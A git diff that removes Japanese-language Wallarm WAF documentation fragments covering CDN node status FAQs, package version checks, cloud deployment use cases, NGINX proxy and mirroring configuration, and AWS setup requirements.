必要な対応:ありません。CDNノードが検知した[イベント][events-docs]を監視できます。 -* **Deleting**: WallarmがCDNノードを削除しています。 - - 必要な対応:ありません。削除の完了までお待ちください。 - -### CNAMEレコードが伝播したかどうかはどのように確認しますか? - -Wallarm Consoleの**Nodes**セクションには、WallarmのCNAMEレコードがインターネット上で有効になっているかどうかの実際の状態が表示されます。CNAMEレコードが伝播している場合、CDNノードのステータスは**Active**です。 - -加えて、次のリクエストでHTTPレスポンスヘッダーを確認できます: - -```bash -curl -v -``` - -WallarmのCNAMEレコードが伝播している場合、レスポンスには`section-io-*`ヘッダーが含まれます。 - -CNAMEレコードが24時間以上伝播しない場合は、ドメインプロバイダでDNSレコードが正常に更新されたことを確認してください。正しく更新されているのにWallarm Consoleに**Not propagated yet**ステータスが引き続き表示される場合は、[Wallarmテクニカルサポート](mailto:support@wallarm.com)にご連絡ください。 - -### **Nodes**セクションでCDNノードが赤く強調表示されています。これは何を意味しますか? - -**Nodes**セクションでCDNノードが赤く強調表示されている場合、次のような理由により、登録または構成の処理中にエラーが発生しています: - -* サードパーティのクラウドプロバイダでノードを登録する際の不明なエラー - - 必要な対応:[Wallarmテクニカルサポート](mailto:support@wallarm.com)にご連絡ください。 -* 無効なカスタムSSL/TLS証明書 - - 必要な対応:アップロードした証明書が有効であることを確認してください。有効でない場合は、有効な証明書をアップロードしてください。 - -赤く強調表示されているCDNノードはリクエストをプロキシしないため、結果として悪意のあるトラフィックをブロックしません。 - -### なぜWallarm Consoleのノード一覧からCDNノードが消えることがあるのですか? - -Wallarmは、ノード作成時から10日以上CNAMEレコードが未変更のCDNノードを削除します。 - -CDNノードが消えている場合は、新しいノードを作成してください。 - -### CDNノードで保護されているコンテンツの更新に遅延が発生するのはなぜですか? - -サイトがCDNノードで保護されていて、データを変更してからサイトの更新に明らかな遅延がある場合、その原因として、コンテンツ配信を高速化する[Varnish Cache][using-varnish-cache]により、CDN上のキャッシュコピーの更新が遅れることが考えられます。 - -例: - -1. CDNノードでVarnish Cacheを有効にしています。 -1. サイトの価格を更新しました。 -1. すべてのリクエストはCDN経由でプロキシされ、キャッシュはすぐには更新されません。 -1. サイトの利用者はしばらくの間、古い価格を目にします。 - -この問題を解消するには、Varnish Cacheを無効化できます。その場合は、**Nodes** → CDN node menu → **Disable Varnish Cache**に進んでください。 \ No newline at end of file diff --git a/include-ja/waf/installation/cdn-node/how-cdn-node-works.md b/include-ja/waf/installation/cdn-node/how-cdn-node-works.md deleted file mode 100644 index c52007ae61..0000000000 --- a/include-ja/waf/installation/cdn-node/how-cdn-node-works.md +++ /dev/null @@ -1,19 +0,0 @@ -Wallarm CDNノードは保護対象サーバーへのリバースプロキシとして動作します。受信トラフィックを解析し、悪意のあるリクエストを軽減し、正当なリクエストを保護対象サーバーへ転送します。 - -![CDNノードの動作図][cdn-node-operation-scheme] - -!!! warning "CDNノードで保護できる対象" - CDNノードでは、第3レベル（4階層目、5階層目などを含む）のドメインを保護できます。例えば、`ple.example.com`向けのCDNノードは作成できますが、`example.com`向けには作成できません。 - -Wallarm CDNノードのその他の特徴は次のとおりです。 - -* サードパーティのクラウドプロバイダー（Section.io）でホストされるため、CDNノードをデプロイするためにお使いのインフラストラクチャからリソースは必要ありません。 - - !!! info "サードパーティのクラウドプロバイダーへのリクエストデータのアップロード" - 処理済みリクエストに関する一部のデータはLumenサービスにアップロードされます。 -* 一部のリクエストデータをWallarm Cloudにアップロードします。[アップロードされるデータと機微なデータのマスキングの詳細][data-to-wallarm-cloud-docs] -* **safe blocking**モードで[動作します][operation-modes-docs]。疑わしいトラフィックを特定してブロックするために[IP graylistの内容][graylist-populating-docs]に基づきます。 - - モードを変更するには、該当する[ルール][operation-mode-rule-docs]を使用します。 -* CDNノードはWallarm Console UIから完全に構成します。唯一、別途の操作が必要なのは、保護対象リソースのDNSレコードにWallarmのCNAMEレコードを追加する設定です。 -* ノードの[アプリケーション構成][link-app-conf]の実施は、[Wallarmサポートチーム](mailto:support@wallarm.com)に依頼できます。 \ No newline at end of file diff --git a/include-ja/waf/installation/checking-compatibility-of-separate-postanalytics-and-primary-packages.md b/include-ja/waf/installation/checking-compatibility-of-separate-postanalytics-and-primary-packages.md deleted file mode 100644 index 64cb8a2da7..0000000000 --- a/include-ja/waf/installation/checking-compatibility-of-separate-postanalytics-and-primary-packages.md +++ /dev/null @@ -1,40 +0,0 @@ -!!! info "`wallarm-node-tarantool`パッケージのバージョン" - `wallarm-node-tarantool`パッケージは、別のサーバーにインストールされているプライマリNGINX-Wallarmモジュールパッケージと同じかそれ以上のバージョンである必要があります。 - - バージョンを確認するには: - - === "Debian" - ```bash - # プライマリNGINX-Wallarmモジュールがあるサーバーで実行します - apt list wallarm-node-nginx - # postanalyticsモジュールがあるサーバーで実行します - apt list wallarm-node-tarantool - ``` - === "Ubuntu" - ```bash - # プライマリNGINX-Wallarmモジュールがあるサーバーで実行します - apt list wallarm-node-nginx - # postanalyticsモジュールがあるサーバーで実行します - apt list wallarm-node-tarantool - ``` - === "CentOSまたはAmazon Linux 2.0.2021xおよびそれ以前" - ```bash - # プライマリNGINX-Wallarmモジュールがあるサーバーで実行します - yum list wallarm-node-nginx - # postanalyticsモジュールがあるサーバーで実行します - yum list wallarm-node-tarantool - ``` - === "AlmaLinux、Rocky LinuxまたはOracle Linux 8.x" - ```bash - # プライマリNGINX-Wallarmモジュールがあるサーバーで実行します - yum list wallarm-node-nginx - # postanalyticsモジュールがあるサーバーで実行します - yum list wallarm-node-tarantool - ``` - === "RHEL 8.x" - ```bash - # プライマリNGINX-Wallarmモジュールがあるサーバーで実行します - yum list wallarm-node-nginx - # postanalyticsモジュールがあるサーバーで実行します - yum list wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/alibaba-ecs-use-cases.md b/include-ja/waf/installation/cloud-platforms/alibaba-ecs-use-cases.md deleted file mode 100644 index 83a6e1c66b..0000000000 --- a/include-ja/waf/installation/cloud-platforms/alibaba-ecs-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -サポートされている[Wallarmのデプロイオプション][platform]の中でも、Alibaba Cloud ECSでDockerイメージを使用するWallarmのデプロイは、次の**ユースケース**で推奨されます。 - -* アプリケーションがマイクロサービスアーキテクチャを採用しており、すでにコンテナ化され、Alibaba Cloud ECS上で稼働している場合です。 -* 各コンテナをきめ細かく制御する必要がある場合、Dockerイメージが最適です。従来のVMベースのデプロイで一般的に可能なレベルよりも高いリソース分離を提供します。 \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/ami-use-cases.md b/include-ja/waf/installation/cloud-platforms/ami-use-cases.md deleted file mode 100644 index 057e1fce8c..0000000000 --- a/include-ja/waf/installation/cloud-platforms/ami-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -サポートされている[Wallarmのデプロイオプション][deployment-platform-docs]の中でも、AMIは次の**ユースケース**でWallarmをデプロイする場合に推奨されます： - -* 既存のインフラストラクチャがAWS上にある場合です。 -* NGINXなどのフロントエンドシステムに直接インストールするのではなく、セキュリティソリューションを独立したクラウドインスタンスとしてデプロイすることを目的とする場合です。 \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/article-for-inline-oob-ami-4.8.md b/include-ja/waf/installation/cloud-platforms/article-for-inline-oob-ami-4.8.md deleted file mode 100644 index 37f67172c4..0000000000 --- a/include-ja/waf/installation/cloud-platforms/article-for-inline-oob-ami-4.8.md +++ /dev/null @@ -1,29 +0,0 @@ -# Amazon Machine ImageからWallarmをデプロイします - -本記事では、[公式のAmazon Machine Image(AMI)](https://aws.amazon.com/marketplace/pp/B073VRFXSD)を使用してAWS上にWallarmをデプロイする手順を説明します。ソリューションは[インライン][inline-docs]または[アウトオブバンド][oob-docs]のいずれかでデプロイできます。 - -## ユースケース - ---8<-- "../include/waf/installation/cloud-platforms/ami-use-cases.md" - ---8<-- "../include/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami.md" - -## 6. Wallarmによるトラフィック解析を有効化します - ---8<-- "../include/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis.md" - -## 7. NGINXを再起動します - ---8<-- "../include/waf/installation/cloud-platforms/restart-nginx.md" - -## 8. Wallarmインスタンスへのトラフィック送信を構成します - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline-oob.md" - -## 9. Wallarmの動作をテストします - ---8<-- "../include/waf/installation/cloud-platforms/test-operation-inline.md" - -## 10. デプロイ済みソリューションを微調整します - ---8<-- "../include/waf/installation/cloud-platforms/fine-tuning-options-4.8.md" \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/article-for-inline-oob-ami.md b/include-ja/waf/installation/cloud-platforms/article-for-inline-oob-ami.md deleted file mode 100644 index 33687d8d6f..0000000000 --- a/include-ja/waf/installation/cloud-platforms/article-for-inline-oob-ami.md +++ /dev/null @@ -1,31 +0,0 @@ -# Amazon Machine ImageからのWallarmのデプロイ - -本記事では、[公式Amazon Machine Image (AMI)](https://aws.amazon.com/marketplace/pp/B073VRFXSD)を使用してAWS上にWallarmをデプロイする手順を説明します。ソリューションは[インライン][inline-docs]または[アウトオブバンド][oob-docs]のいずれかでデプロイできます。 - -最新のWallarm AMIはDebian 12をベースとしており、DebianリポジトリのNGINX 1.22.1を使用します。 - -## ユースケース - ---8<-- "../include/waf/installation/cloud-platforms/ami-use-cases.md" - ---8<-- "../include/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami-latest.md" - -## 6. インスタンスをWallarm Cloudに接続する - ---8<-- "../include/waf/installation/connect-waf-and-cloud-for-cloud-images.md" - -## 7. Wallarmインスタンスへのトラフィック送信を設定する - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline-oob-latest.md" - - 構成でミラーリングサーバーをパブリックサブネット経由でWallarmフィルタリングノードに接続する場合は、`set_real_ip_from`および`real_ip_header`ディレクティブで適切なサブネット設定も指定する必要があります。サブネットが内部の場合は不要です。 - -## 8. Wallarmの動作をテストする - ---8<-- "../include/waf/installation/cloud-platforms/test-operation-inline.md" - -## 9. デプロイ済みソリューションを微調整する - ---8<-- "../include/waf/installation/cloud-platforms/fine-tuning-options-5.0.md" - ---8<-- "../include/waf/installation/cloud-platforms/restart-nginx.md" \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image-4.8.md b/include-ja/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image-4.8.md deleted file mode 100644 index da06dded32..0000000000 --- a/include-ja/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image-4.8.md +++ /dev/null @@ -1,29 +0,0 @@ -# GCPのマシンイメージからWallarmをデプロイします - -この記事では、[公式マシンイメージ](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node)を使用したGCP上でのWallarmのデプロイ方法を説明します。ソリューションは[インライン][inline-docs]または[アウトオブバンド][oob-docs]のいずれかの方法でデプロイできます。 - -## ユースケース - ---8<-- "../include/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md" - ---8<-- "../include/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.8.md" - -## 5. Wallarmによるトラフィック解析を有効化します - ---8<-- "../include/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis.md" - -## 6. NGINXを再起動します - ---8<-- "../include/waf/installation/cloud-platforms/restart-nginx.md" - -## 7. トラフィックのWallarmインスタンスへの送信を構成します - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline-oob.md" - -## 8. Wallarmの動作をテストします - ---8<-- "../include/waf/installation/cloud-platforms/test-operation-inline.md" - -## 9. デプロイ済みのソリューションを微調整します - ---8<-- "../include/waf/installation/cloud-platforms/fine-tuning-options-4.8.md" \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image.md b/include-ja/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image.md deleted file mode 100644 index ac5cabcd1b..0000000000 --- a/include-ja/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image.md +++ /dev/null @@ -1,27 +0,0 @@ -# GCPのマシンイメージからWallarmをデプロイする - -本記事では、[公式マシンイメージ](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node)を使用してGCPにWallarmをデプロイする手順を説明します。ソリューションは[インライン][inline-docs]または[アウトオブバンド][oob-docs]でデプロイできます。 - -## ユースケース - ---8<-- "../include/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md" - ---8<-- "../include/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-5.x.md" - -## 5. インスタンスをWallarm Cloudに接続する - ---8<-- "../include/waf/installation/connect-waf-and-cloud-for-cloud-images.md" - -## 6. Wallarmインスタンスにトラフィックを送信するように構成する - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline-oob-latest.md" - -## 7. Wallarmの動作をテストする - ---8<-- "../include/waf/installation/cloud-platforms/test-operation-inline.md" - -## 8. デプロイ済みのソリューションを微調整する - ---8<-- "../include/waf/installation/cloud-platforms/fine-tuning-options-5.0.md" - ---8<-- "../include/waf/installation/cloud-platforms/restart-nginx.md" \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/aws-ecs-use-cases.md b/include-ja/waf/installation/cloud-platforms/aws-ecs-use-cases.md deleted file mode 100644 index 3c67cfce8d..0000000000 --- a/include-ja/waf/installation/cloud-platforms/aws-ecs-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -サポートされている[Wallarmのデプロイオプション][platform]の中で、Docker imageを使用したAWS ECSでのWallarmのデプロイは、次の**ユースケース**で推奨されます： - -* アプリケーションがマイクロサービスアーキテクチャを採用しており、既にコンテナ化されてAWS ECS上で稼働している場合です。 -* 各コンテナに対してきめ細かな制御が必要な場合、Docker imageが優れています。従来のVMベースのデプロイで一般的に実現できるレベルよりも高いリソース分離を提供します。 \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/azure-container-instances-use-cases.md b/include-ja/waf/installation/cloud-platforms/azure-container-instances-use-cases.md deleted file mode 100644 index 1d3249ef1d..0000000000 --- a/include-ja/waf/installation/cloud-platforms/azure-container-instances-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -サポートされている[Wallarmのデプロイオプション][platform]の中でも、Dockerイメージを使用してAzure Container Instances上にWallarmをデプロイする方法は、次の**ユースケース**で推奨されます： - -* アプリケーションがマイクロサービスアーキテクチャを採用し、すでにコンテナ化され、Azure Container Instances上で稼働している場合です。 -* 各コンテナに対するきめ細かな制御が必要な場合、Dockerイメージが優れています。これは、従来のVMベースのデプロイで一般的に可能なレベルよりも高いリソース分離を実現します。 \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis-inline.md b/include-ja/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis-inline.md deleted file mode 100644 index e21d56ce15..0000000000 --- a/include-ja/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis-inline.md +++ /dev/null @@ -1,32 +0,0 @@ -デフォルトでは、デプロイ済みのWallarmノードは受信トラフィックを解析しません。トラフィック解析を開始するには、Wallarmインスタンス上の`/etc/nginx/sites-enabled/default`ファイルでWallarmがトラフィックをプロキシするように設定します: - -1. Wallarmが正規のトラフィックをプロキシする宛先IPアドレスを設定します。アーキテクチャに応じて、アプリケーションインスタンスやロードバランサーのIP、またはDNS名などを指定できます。 - - これを行うには、`proxy_pass`の値を編集します。例えば、Wallarmが正規のリクエストを`http://10.80.0.5`に転送する場合: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - - ... - - location / { - proxy_pass http://10.80.0.5; - ... - } - } - ``` -1. Wallarmノードが受信トラフィックを解析するには、`wallarm_mode`ディレクティブを`monitoring`に設定します: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - monitoringモードは、初回のデプロイおよびソリューションのテストに推奨されます。Wallarmはsafe blockingモードおよびblockingモードも提供しています。[詳細][wallarm-mode]を参照してください。 \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis.md b/include-ja/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis.md deleted file mode 100644 index 23aa691ba6..0000000000 --- a/include-ja/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis.md +++ /dev/null @@ -1,67 +0,0 @@ -デフォルトでは、デプロイ済みのWallarmノードは受信トラフィックを解析しません。 - -選択したWallarmのデプロイ方法（[インライン][inline-docs]または[アウトオブバンド][oob-docs]）に応じて、Wallarmがトラフィックをプロキシするか、トラフィックミラーを処理するように設定します。 - -Wallarmインスタンス上の`/etc/nginx/sites-enabled/default`ファイルで次の設定を行います。 - -=== "インライン" - 1. Wallarmが正当なトラフィックをプロキシ先として転送するIPアドレスを設定します。アーキテクチャに応じて、アプリケーションインスタンス、ロードバランサーのIP、またはDNS名などを指定できます。 - - これを行うには、`proxy_pass`の値を編集します。例えば、Wallarmが正当なリクエストを`http://10.80.0.5`に送信する場合は次のとおりです。 - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - - ... - - location / { - proxy_pass http://10.80.0.5; - ... - } - } - ``` - 1. Wallarmノードが受信トラフィックを解析できるように、`wallarm_mode`ディレクティブを`monitoring`に設定します。 - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - 初回のデプロイおよびソリューションのテストにはmonitoringモードを推奨します。Wallarmにはsafe blockingモードやblockingモードもあります。詳細は[こちら][wallarm-mode]をご覧ください。 -=== "アウトオブバンド" - 1. Wallarmノードがミラーリングされたトラフィックを受け入れられるよう、NGINXの`server`ブロックに次の設定を追加します。 - - ``` - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # 222.222.222.22をミラーリングサーバーのアドレスに変更します - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - ``` - - * `set_real_ip_from`および`real_ip_header`ディレクティブは、Wallarm Consoleで[攻撃者のIPアドレスを表示する][real-ip-docs]ために必要です。 - * `wallarm_force_response_*`ディレクティブは、ミラーリングされたトラフィックから受け取ったコピー以外のすべてのリクエストの解析を無効化するために必要です。 - 1. Wallarmノードがミラーリングされたトラフィックを解析できるように、`wallarm_mode`ディレクティブを`monitoring`に設定します。 - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - 悪意のあるリクエストはブロック[できません][oob-advantages-limitations]ので、Wallarmが受け付ける[モード][wallarm-mode]はmonitoringのみです。インラインデプロイではsafe blockingモードとblockingモードも利用できますが、`wallarm_mode`ディレクティブをmonitoring以外に設定しても、ノードは引き続きトラフィックを監視し、悪意のあるトラフィックのみを記録します（offに設定した場合を除きます）。 \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/fine-tuning-options-4.8.md b/include-ja/waf/installation/cloud-platforms/fine-tuning-options-4.8.md deleted file mode 100644 index af9babb352..0000000000 --- a/include-ja/waf/installation/cloud-platforms/fine-tuning-options-4.8.md +++ /dev/null @@ -1,23 +0,0 @@ -デプロイは完了しました。フィルタリングノードはデプロイ後に追加の設定が必要になる場合があります。 - -Wallarmの設定は、[NGINXディレクティブ][wallarm-nginx-directives]またはWallarm Console UIを使用して定義します。ディレクティブは、Wallarmインスタンス上の次のファイルで設定します： - -* `/etc/nginx/sites-enabled/default` はNGINXの構成を定義します -* `/etc/nginx/conf.d/wallarm.conf` はWallarmフィルタリングノードのグローバル構成を定義します -* `/etc/nginx/conf.d/wallarm-status.conf` はフィルタリングノードの監視サービス構成を定義します -* `/etc/default/wallarm-tarantool` または `/etc/sysconfig/wallarm-tarantool` にはTarantoolデータベースの設定が含まれます - -NGINXとWallarmの動作を定義するために、上記のファイルを変更するか、独自の構成ファイルを作成できます。同じ方法での処理が必要なドメインのグループごとに、`server`ブロックを含む個別の構成ファイルの作成を推奨します（例：`example.com.conf`）。NGINXの構成ファイルの扱いに関する詳細は、[NGINXの公式ドキュメント](https://nginx.org/en/docs/beginners_guide.html)を参照してください。 - -!!! info "構成ファイルの作成" - カスタム構成ファイルの作成時は、NGINXが未使用のポートで着信接続を待ち受けるようにしてください。 - -以下は、必要に応じて適用可能な一般的な設定です： - -* [Wallarmノードのオートスケーリング][autoscaling-docs] -* [クライアントの実IPの表示][real-ip-docs] -* [Wallarmノードへのリソース割り当て][allocate-memory-docs] -* [単一リクエストの処理時間の制限][limiting-request-processing] -* [サーバーからの応答待ち時間の制限](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [最大リクエストサイズの制限](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [Wallarmノードのログ記録][logs-docs] \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/fine-tuning-options-5.0.md b/include-ja/waf/installation/cloud-platforms/fine-tuning-options-5.0.md deleted file mode 100644 index 783910705a..0000000000 --- a/include-ja/waf/installation/cloud-platforms/fine-tuning-options-5.0.md +++ /dev/null @@ -1,23 +0,0 @@ -デプロイが完了しました。フィルタリングノードは、デプロイ後に追加の設定が必要になる場合があります。 - -Wallarmの設定は、[NGINXディレクティブ][wallarm-nginx-directives]またはWallarm Console UIを使用して定義します。ディレクティブはWallarmインスタンス上の以下のファイルに設定します: - -* `/etc/nginx/sites-enabled/default`はNGINXの設定を定義します -* `/etc/nginx/conf.d/wallarm.conf`はWallarmフィルタリングノードのグローバル設定を定義します -* `/etc/nginx/conf.d/wallarm-status.conf`はフィルタリングノードの監視サービスの設定を定義します -* `/etc/default/wallarm-tarantool`または`/etc/sysconfig/wallarm-tarantool`はTarantoolデータベースの設定を定義します - -NGINXとWallarmの動作を定義するために、上記のファイルを変更するか、独自の設定ファイルを作成できます。同一の方法で処理する必要があるドメインの各グループごとに、`server`ブロックを含む個別の設定ファイル(例: `example.com.conf`)を作成することを推奨します。NGINXの設定ファイルの取り扱いに関する詳細は、[公式のNGINXドキュメント](https://nginx.org/en/docs/beginners_guide.html)をご覧ください。 - -!!! info "設定ファイルの作成" - 独自の設定ファイルを作成する際は、NGINXが空いているポートで受信接続を待ち受けるようにしてください。 - -以下は必要に応じて適用できる一般的な設定です: - -* [Wallarmノードのオートスケーリング][autoscaling-docs] -* [クライアントの実IPアドレスの表示][real-ip-docs] -* [Wallarmノードへのリソース割り当て][allocate-memory-docs] -* [単一リクエストの処理時間の制限][limiting-request-processing] -* [サーバーの応答待機時間の制限](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [最大リクエストサイズの制限](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [Wallarmノードのログ記録][logs-docs] \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/fine-tuning-options.md b/include-ja/waf/installation/cloud-platforms/fine-tuning-options.md deleted file mode 100644 index c611ede652..0000000000 --- a/include-ja/waf/installation/cloud-platforms/fine-tuning-options.md +++ /dev/null @@ -1,23 +0,0 @@ -デプロイが完了しました。フィルタリングノードは、デプロイ後に追加の設定が必要になる場合があります。 - -Wallarmの設定は、[NGINXディレクティブ][wallarm-nginx-directives]またはWallarm Console UIを使用して定義します。ディレクティブはWallarmインスタンス上の次のファイルで設定します: - -* `/etc/nginx/sites-enabled/default` はNGINXの設定を定義します -* `/etc/nginx/conf.d/wallarm.conf` はWallarmフィルタリングノードのグローバル設定を定義します -* `/etc/nginx/conf.d/wallarm-status.conf` はフィルタリングノードの監視サービス設定を定義します -* `/opt/wallarm/wstore/wstore.yaml` はpostanalyticsサービス（wstore）の設定を定義します - -上記のファイルを変更するか、独自の設定ファイルを作成して、NGINXとWallarmの動作を定義できます。同じ方法で処理する必要があるドメイングループごとに、`server`ブロックを含む個別の設定ファイル（例: `example.com.conf`）を作成することを推奨します。NGINXの設定ファイルの扱いに関する詳細は、[公式のNGINXドキュメント](https://nginx.org/en/docs/beginners_guide.html)を参照してください。 - -!!! info "設定ファイルの作成" - カスタム設定ファイルを作成する際は、NGINXが空きポートで受信接続を待ち受けるように設定されていることを確認してください。 - -以下は、必要に応じて適用できる一般的な設定の例です: - -* [Wallarmノードのオートスケーリング][autoscaling-docs] -* [クライアントの実IPの表示][real-ip-docs] -* [Wallarmノードへのリソース割り当て][allocate-memory-docs] -* [単一リクエストの処理時間の制限][limiting-request-processing] -* [サーバー応答待機時間の制限](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [リクエスト最大サイズの制限](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [Wallarmノードのログ記録][logs-docs] \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md b/include-ja/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md deleted file mode 100644 index 75fb4d5663..0000000000 --- a/include-ja/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -サポートされている[Wallarmのデプロイオプション][deployment-platform-docs]の中で、これらのユースケースではWallarmのデプロイにGCP Machine Imageを推奨します: - -* 既存のインフラストラクチャがGCP上にあります。 -* NGINXなどのフロントエンドシステムに直接インストールするのではなく、セキュリティソリューションを独立したクラウドインスタンスとしてデプロイする方針です。 \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/google-gce-use-cases.md b/include-ja/waf/installation/cloud-platforms/google-gce-use-cases.md deleted file mode 100644 index 29aeadfcc7..0000000000 --- a/include-ja/waf/installation/cloud-platforms/google-gce-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -サポートされているすべての[Wallarmのデプロイメントオプション][platform]の中でも、Dockerイメージを使用したGoogle Compute Engine（GCE）上でのWallarmのデプロイは、次の**ユースケース**で推奨されます: - -* アプリケーションがマイクロサービスアーキテクチャを採用しており、すでにコンテナ化されてGCE上で稼働している場合です。 -* 各コンテナをきめ細かく制御する必要がある場合、Dockerイメージが最適です。これは、従来のVMベースのデプロイメントで通常可能なレベルよりも高いリソース分離を提供します。 \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami-latest.md b/include-ja/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami-latest.md deleted file mode 100644 index 43adb69459..0000000000 --- a/include-ja/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami-latest.md +++ /dev/null @@ -1,105 +0,0 @@ -## 要件 - -* AWSアカウントが必要です。 -* AWS EC2とSecurity Groupsの理解が必要です。 -* 任意のAWSリージョンを使用できます。Wallarmノードのデプロイにリージョンの特別な制限はありません。 - - Wallarmは単一Availability Zone(AZ)および複数Availability Zone構成の両方をサポートします。マルチAZ構成では、Wallarm Nodesを別々のAvailability Zoneで起動し、高可用性のためにLoad Balancerの背後に配置できます。 -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Administrator**ロールを持つアカウントへのアクセスが必要です。 -* US Wallarm Cloudで作業する場合は`https://us1.api.wallarm.com:444`に、EU Wallarm Cloudで作業する場合は`https://api.wallarm.com:444`にアクセスできる必要があります。アクセスをプロキシサーバー経由でのみ構成できる場合は、[手順][wallarm-api-via-proxy]を使用してください。 -* 以下のIPアドレスへのアクセスが必要です。これは、攻撃検出ルールと[API仕様][api-spec-enforcement-docs]の更新をダウンロードし、また[allowlisted, denylisted, or graylisted][ip-lists-docs]の国・地域・データセンターの正確なIPを取得するために必要です。 - - --8<-- "../include/wallarm-cloud-ips.md" -* Wallarmインスタンス上で、すべてのコマンドをスーパーユーザー（例:`root`）として実行する必要があります。 - -## 1. AWSでSSHキーのペアを作成する - -デプロイの過程で、SSHで仮想マシンに接続する必要があります。Amazon EC2では、インスタンスへの接続に使用できる公開鍵と秘密鍵の名前付きSSHキー・ペアを作成できます。 - -キー・ペアを作成するには: - -1. Amazon EC2ダッシュボードの**Key pairs**タブに移動します。 -2. **Create Key Pair**ボタンをクリックします。 -3. キー・ペア名を入力し、**Create**ボタンをクリックします。 - -PEM形式の秘密SSHキーのダウンロードが自動的に開始されます。今後、作成したインスタンスに接続するためにこのキーを保存してください。 - -SSHキーの作成に関する詳細は、[AWSドキュメント][link-ssh-keys]を参照してください。 - -## 2. セキュリティグループを作成する - -セキュリティグループは、仮想マシンに対する受信および送信接続の許可・禁止を定義します。最終的な接続のリストは保護対象のアプリケーションに依存します（例: TCP/80およびTCP/443ポートへのすべての受信接続を許可するなど）。 - -Wallarm AMIは最小限の権限セットで動作するように設計されています。インスタンスをデプロイする際は、最小権限の原則に基づいてIAMロールを割り当て、ノードの動作に必要なアクセスのみを付与するようにセキュリティグループを構成することを推奨します。これはAWSのセキュリティベストプラクティスに沿うものです。 - -フィルタリングノード用のセキュリティグループを作成するには: - -1. Amazon EC2ダッシュボードの**Security Groups**タブに移動し、**Create Security Group**ボタンをクリックします。 -2. 表示されるダイアログで、セキュリティグループ名と任意の説明を入力します。 -3. 必要なVPCを選択します。 -4. **Inbound**および**Outbound**タブで、受信および送信の接続ルールを構成します。 -5. **Create**ボタンをクリックしてセキュリティグループを作成します。 - -![セキュリティグループの作成][img-create-sg] - -!!! warning "セキュリティグループからの送信接続のルール" - セキュリティグループを作成する際、送信接続はデフォルトで全許可です。フィルタリングノードからの送信接続を制限する場合は、Wallarm APIサーバーへのアクセスが許可されていることを必ず確認してください。どのWallarm APIサーバーにアクセスするかは、使用しているWallarm Cloudに依存します。 - - * US Cloudを使用している場合、ノードには`us1.api.wallarm.com`へのアクセスを許可する必要があります。 - * EU Cloudを使用している場合、ノードには`api.wallarm.com`へのアクセスを許可する必要があります。 - - 